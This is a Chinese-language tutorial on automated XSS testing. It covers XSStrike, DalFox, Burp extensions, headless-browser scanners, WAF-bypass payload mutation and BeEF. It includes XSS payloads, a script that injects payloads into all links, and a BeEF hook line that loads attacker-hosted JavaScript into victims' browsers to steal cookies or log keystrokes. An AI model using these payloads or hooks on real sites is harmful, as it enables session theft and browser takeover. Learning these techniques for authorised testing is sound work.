WEB安全之XSS专题:自动化工具运用与开发
大家好,你们可以叫我凌,是个16岁的网络安全学习者。
今天我们来聊聊自动化工具的运用,废话不多说我们直接开始吧!
开始前依旧提供链接
链接:https://pan.quark.cn/s/0e84811053d1?pwd=tMwG
提取码:tMwG
手工测试虽然精准,但在面对大量参数、复杂场景时效率太低。自动化工具可以帮助我们快速扩大测试覆盖面,发现潜在漏洞,再结合手工验证,达到事半功倍的效果。本章将介绍几款主流的 XSS 自动化工具,并深入讲解如何编写自定义脚本实现更灵活的测试。
XSStrike 深入
XSStrike是一款功能强大的 XSS 检测工具,它不仅能发送 Payload,还能分析上下文、生成绕过 Payload 并探测 WAF
核心特性
| 特性 | 说明 |
| 上下文分析 | 通过分析响应判断输出点位置(HTML 标签内、属性中、JS 代码中等) |
| Payload 生成器 | 根据上下文自动生成合适的 Payload |
| WAF 探测 | 发送特定 Payload 判断是否存在 WAF 及其类型 |
| 多线程扫描 | 支持多线程提高效率 |
| 支持 GET/POST | 可测试 URL 参数和 POST 表单 |
基本用法
测试单个 URL
python xsstrike.py -u "http://target.com/page.php?id=1"
测试 POST 请求
python xsstrike.py -u "http://target.com/search.php" --data "q=test"
从文件读取多个目标
python xsstrike.py --seeds urls.txt
指定参数名
python xsstrike.py -u "http://target.com/page.php?q=test" --params "q"
分析 Payload 生成逻辑
XSStrike 的 Payload 生成器会根据上下文动态调整。例如,如果检测到输出点在 HTML 标签内部,它会生成闭合标签的 Payload;如果在 JavaScript 字符串中,它会生成字符串闭合 Payload。
# 假设输出点在 <input value="[output]"> 中
XSStrike 会生成:">< img src=x onerror=alert(1)>
# 从而闭合 value 属性,注入新标签
自定义规则扩展
XSStrike 的 Payload 存储在 core/payloads.py 中,可以根据需要添加新的 Payload 或绕过技巧。例如,添加一个针对特定 WAF 的 Payload:
# 在 payloads.py 的 XSS 列表中添加
XSS_PAYLOADS = [
# ...
'<svg/onload=alert(1)>',
'<math><mtext><script>alert(1)</script></mtext></math>',
# 自定义 Payload
'<img src="x" onerror="eval(atob(\'YWxlcnQoMSk=\'))">' # base64 编码的 alert(1)
]
局限性
· 对 DOM 型 XSS 检测能力有限(因为它需要执行 JavaScript,而 XSStrike 是静态分析)
· 可能遗漏需要用户交互的触发点(如点击按钮)
· 某些复杂业务逻辑无法覆盖(如多步骤表单)
DalFox
DalFox 是一款基于 Go 语言开发的 XSS 扫描器,支持 DOM 解析和动态测试,对现代 Web 应用更友好。
核心特性
| 特性 | 说明 |
| DOM 解析 | 内置 headless 浏览器,可以执行 JavaScript,检测 DOM 型 XSS |
| 动态测试 | 模拟点击、输入等操作,触发隐藏的 XSS |
| 多格式输入 | 支持 URL、文件、Burp 请求包 |
| WAF 检测 | 识别 WAF 类型并尝试绕过 |
| 漏洞验证 | 自动验证漏洞,减少误报 |
基本用法
扫描单个 URL
dalfox url "http://target.com/page.php?id=1"
从文件读取多个 URL
dalfox file urls.txt
使用 Burp 请求包
dalfox request req.txt
启用 DOM 解析(headless)
dalfox url "http://target.com/page.php?id=1" --headless
高级选项
指定参数
dalfox url "http://target.com/page.php?id=1&name=test" --param id --param name
自定义 Payload 文件
dalfox url "http://target.com/page.php?id=1" --payload-file my_payloads.txt
忽略某些参数
dalfox url "http://target.com/page.php?id=1&token=123" --skip-param token
输出结果到文件
dalfox url "http://target.com/page.php?id=1" -o result.txt
与 XSStrike 对比
| 对比项 | XSStrike | DalFox |
| 编程语言 | Python | Go |
| DOM 支持 | 静态分析 | headless 动态执行 |
| 速度 | 较慢 | 快 |
| 适用场景 | 传统反射型 XSS | 现代应用,含 DOM 型 XSS |
实战案例
假设一个页面通过 JavaScript 动态将 URL 参数插入到 DOM 中
let params = new URLSearchParams(location.search);
document.getElementById('output').innerHTML = params.get('msg');
使用 DalFox 的 headless 模式可以检测到这种 DOM 型 XSS:
dalfox url "http://target.com/page.php?msg=test" --headless
DalFox 会启动浏览器访问页面,执行 JavaScript,并尝试注入 Payload,观察是否弹窗。
Knoxss
Knoxss 是一个在线 XSS 测试平台,提供免费的快速验证服务(有一定限制)。
特点
· 无需安装,直接在网页上测试
· 支持多种 Payload 编码
· 可查看请求和响应详情
· 适合快速验证漏洞是否存在
使用方法
1. 访问 https://knoxss.me
2. 输入目标 URL 和参数名
3. 选择 Payload 类型(普通、编码、过滤绕过等)
4. 点击“Scan”,等待结果
局限性
· 免费版有次数限制
· 不能测试需要登录的页面(除非用付费版)
· 无法处理复杂业务逻辑
Burp 插件深度联动
Burp Suite 是渗透测试的瑞士军刀,配合插件可以大幅提升 XSS 测试效率。
使用 Bambda 过滤器快速筛选可疑参数
Bambda 是 Burp 的 Java 脚本接口,可以编写自定义过滤器,快速从大量请求中筛选出可能包含 XSS 的参数。
示例 Bambda(仅显示包含 <> 的响应)
if (!requestResponse.hasResponse()) return false;
String response = new String(requestResponse.response());
return response.contains("<") && response.contains(">");
将这段代码粘贴到 Burp 的“Bambda”窗口,即可过滤出可能反射了尖括号的请求。
Jython 脚本实现复杂逻辑检测
Jython 可以在 Burp 中运行 Python 脚本,实现自定义的主动扫描检查器。
示例:编写一个简单的 XSS 检查器,扫描所有参数并发送 Payload。
from burp import IBurpExtender, IScannerCheck, IScanIssue
from java.util import ArrayList
import urllib
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("XSS Scanner")
callbacks.registerScannerCheck(self)
print("XSS Scanner loaded")
def doPassiveScan(self, baseRequestResponse):
return None
def doActiveScan(self, baseRequestResponse, insertionPoint):
# 构建测试 Payload
payloads = ["<script>alert(1)</script>", "< img src=x onerror=alert(1)>"]
issues = []
for payload in payloads:
checkRequest = insertionPoint.buildRequest(payload)
checkResponse = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest)
responseInfo = self._helpers.analyzeResponse(checkResponse)
body = checkResponse.tostring()
if payload in body:
issues.append(self._createIssue(baseRequestResponse, payload))
return issues if issues else None
def _createIssue(self, baseRequestResponse, payload):
return self._callbacks.applyMarkers(
self._helpers.createScanIssue(
baseRequestResponse.getHttpService(),
self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
[baseRequestResponse],
"XSS Vulnerability",
"A cross-site scripting vulnerability was detected with payload: " + payload,
"High",
"Certain"
)
)
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return -1
配合 Scanner 进行主动扫描
Burp 的主动扫描可以自动爬取网站并测试所有参数,配合自定义的 Payload 列表,可以快速发现 XSS。
配置步骤
1. 在 Burp 的“Scanner” -> “Insertion point”中,启用所有参数类型。
2. 在“Scanner” -> “Payloads”中添加自定义 XSS Payload 列表。
3. 开始主动扫描,Burp 会自动测试每个参数。
自定义脚本开发
当现成工具无法满足需求时,编写自定义脚本可以突破限制,实现更灵活的测试。
Python + Selenium/Puppeteer/Playwright 构建动态扫描器
对于需要执行 JavaScript 才能触发的 XSS,可以使用 headless 浏览器模拟真实用户。
Playwright 示例(Python):
from playwright.sync_api import sync_playwright
import time
def test_xss(url, param_name, payload):
with sync_playwright() as p:
browser = p.chromium.launch(headless=False) # 可设 headless=True
page = browser.new_page()
# 监听 alert 事件
page.on("dialog", lambda dialog: print(f"Alert triggered: {dialog.message}"))
# 构造测试 URL
test_url = url.replace("FUZZ", payload) # 假设参数位置用 FUZZ 标记
page.goto(test_url)
time.sleep(2) # 等待页面执行
browser.close()
使用示例
test_xss("http://target.com/search?q=FUZZ", "q", "<script>alert(1)</script>")
Puppeteer 示例(Node.js):
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch({ headless: false });
const page = await browser.newPage();
page.on('dialog', async dialog => {
console.log('Alert:', dialog.message());
await dialog.dismiss();
});
await page.goto('http://target.com/search?q=<script>alert(1)</script>');
await browser.close();
})();
基于 AST 的 Payload 生成器
AST(抽象语法树)可以分析 JavaScript 代码的结构,并自动生成变异的 Payload,用于绕过 WAF。
简单思路
1. 解析已知 Payload 的 AST。
2. 随机替换节点(如将 alert 换成 prompt、confirm)。
3. 插入垃圾代码(如无意义的变量声明)。
4. 重新生成代码字符串,作为 Payload 发送。
Python 示例(使用 esprima 解析 JS):
import esprima
import random
def mutate_payload(payload):
# 解析 AST
ast = esprima.parseScript(payload)
# 随机修改 AST 节点(这里仅示例,实际需遍历树)
# 例如:将函数名 'alert' 改为 'confirm'
def walk(node):
if node.type == 'CallExpression' and node.callee.name == 'alert':
node.callee.name = random.choice(['confirm', 'prompt'])
for key in node:
if isinstance(node[key], dict):
walk(node[key])
elif isinstance(node[key], list):
for item in node[key]:
if isinstance(item, dict):
walk(item)
walk(ast)
# 将 AST 转回代码(需要 escodegen)
import escodegen
return escodegen.generate(ast)
# 示例
payload = '<script>alert(1)</script>'
mutated = mutate_payload(payload)
print(mutated) # 可能输出 <script>confirm(1)</script>
Fuzzing 字典生成器
收集各种 XSS Payload 变体,生成字典用于模糊测试。
import itertools
def generate_payloads(base_payloads, encodings):
"""生成组合 Payload"""
for payload in base_payloads:
for encoding in encodings:
yield encoding(payload)
def html_escape(payload):
return payload.replace('<', '<').replace('>', '>')
def url_encode(payload):
return requests.utils.quote(payload)
def js_escape(payload):
return payload.replace("'", "\\'").replace('"', '\\"')
# 使用
base = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
encodings = [lambda x: x, html_escape, url_encode, js_escape]
for p in generate_payloads(base, encodings):
print(p)
机器学习 WAF 探测思路
可以训练一个简单的分类器,判断响应是否被 WAF 拦截(如根据状态码、响应内容中的关键词)。但实际应用中,机器学习更多用于学术研究,实战中规则匹配更常见。
Tampermonkey 用户脚本辅助手工测试
编写 Tampermonkey 脚本可以在浏览器中自动修改请求或注入 Payload,辅助手工测试。
示例:自动给所有链接添加 XSS 参数测试。
// ==UserScript==
// @name XSS Helper
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Add XSS test parameters to all links
// @author You
// @match *://*/*
// @grant none
// ==/UserScript==
(function() {
'use strict';
document.querySelectorAll('a').forEach(link => {
let url = new URL(link.href);
if (!url.searchParams.has('xss_test')) {
url.searchParams.set('xss_test', '<script>alert(1)</script>');
link.href = url.toString();
}
});
})();
BeEF 实战
BeEF(Browser Exploitation Framework)是一个专注于浏览器端的渗透测试框架,可以将 XSS 漏洞转化为浏览器控制权。
部署与 hook 方式
1. 启动 BeEF:
./beef
默认访问 http://localhost:3000/ui/panel,用户名密码 beef。
2. 生成 hook 脚本:
BeEF 提供一个 hook.js 文件,地址为 http://your-ip:3000/hook.js。
3. 在 XSS 漏洞中加载 hook[html]:
<script src="http://your-ip:3000/hook.js"></script>
当受害者访问页面时,浏览器就会被 hook 到 BeEF 控制台。
模块利用与扩展
BeEF 提供了大量模块,可以执行以下操作:
| 模块类别 | 功能示例 |
| 信息收集 | 获取浏览器版本、已安装插件、屏幕分辨率 |
| 窃取数据 | 窃取 Cookie、键盘记录、截图 |
| 网络扫描 | 对内网进行端口扫描 |
| 持久化 | 安装持久化脚本(如使用 setInterval 重新 hook) |
| 漏洞利用 | 针对特定浏览器的漏洞(如旧版 IE 的 RCE) |
使用示例
1. 在 BeEF 控制台,选择被 hook 的浏览器。
2. 在“Commands”选项卡中搜索模块,如“Get Cookies”。
3. 点击“Execute”运行,结果会返回
自定义模块开发
BeEF 模块由 Ruby 编写,放在 modules/ 目录下。一个简单的模块结构
# modules/example/example.rb
class Example < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
return [
{'name' => 'message', 'type' => 'textarea', 'value' => 'Hello', 'description' => 'Message to alert'}
]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end
对应的 JavaScript 文件(command.js):
beef.execute(function() {
var message = '<%= @message %>';
alert(message);
beef.net.send('<%= @command_id %>', beef.result({"result": "ok"}));
});
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)